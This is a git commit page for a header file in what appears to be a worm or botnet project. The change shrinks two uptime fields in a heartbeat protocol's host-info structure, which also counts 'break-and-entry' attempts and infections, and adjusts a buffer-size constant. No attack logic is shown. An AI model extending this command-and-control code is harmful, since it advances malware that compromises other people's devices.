diff options
author | David Timber <mieabby@gmail.com> | 2021-08-16 21:35:20 +1000 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2021-08-16 21:35:20 +1000 |
commit | a161674bcee21384a73834e3ca16ad3bf1c70cf3 (patch) | |
tree | 3a42a20055ce6bed9eb679e1bd169a03b0ae5528 /src/protocol.h | |
parent | f8afe0c17c248e7eda1be258786a089f5bf6c3bf (diff) |
Protocol change: change hostinfo uptime ...
* Change hostinfo parent_uptime and child_uptime to uint32_t (138 years
is a long time)
Diffstat (limited to 'src/protocol.h')
-rw-r--r-- | src/protocol.h | 10 |
1 files changed, 5 insertions, 5 deletions
diff --git a/src/protocol.h b/src/protocol.h index e244d6c..822b92a 100644 --- a/src/protocol.h +++ b/src/protocol.h @@ -121,8 +121,8 @@ typedef enum { * uint8_t boot_id[16] * uint8_t instance_id[16] * uint8_t org_id[16] - * uint64_t parent_uptime : in seconds - * uint64_t child_uptime : in seconds + * uint32_t parent_uptime : in seconds + * uint32_t child_uptime : in seconds * uint64_t bne_cnt : break-and-entry count * uint64_t infect_cnt : infect count ( <= 'bne_cnt') * uint32_t crash_cnt @@ -250,8 +250,8 @@ struct prne_htbt_status { }; struct prne_htbt_host_info { - uint64_t parent_uptime; - uint64_t child_uptime; + uint32_t parent_uptime; + uint32_t child_uptime; uint64_t bne_cnt; uint64_t infect_cnt; uint32_t parent_pid; @@ -342,7 +342,7 @@ typedef prne_htbt_ser_rc_t(*prne_htbt_dser_ft)( * Required write buffer size for submissive end. Set to that of * PRNE_HTBT_OP_HOST_INFO. */ -#define PRNE_HTBT_PROTO_SUB_MIN_BUF ((size_t)3 + 94 + 255) +#define PRNE_HTBT_PROTO_SUB_MIN_BUF ((size_t)3 + 104 + 255 + 255) const char *prne_os_tostr (const prne_os_t x); |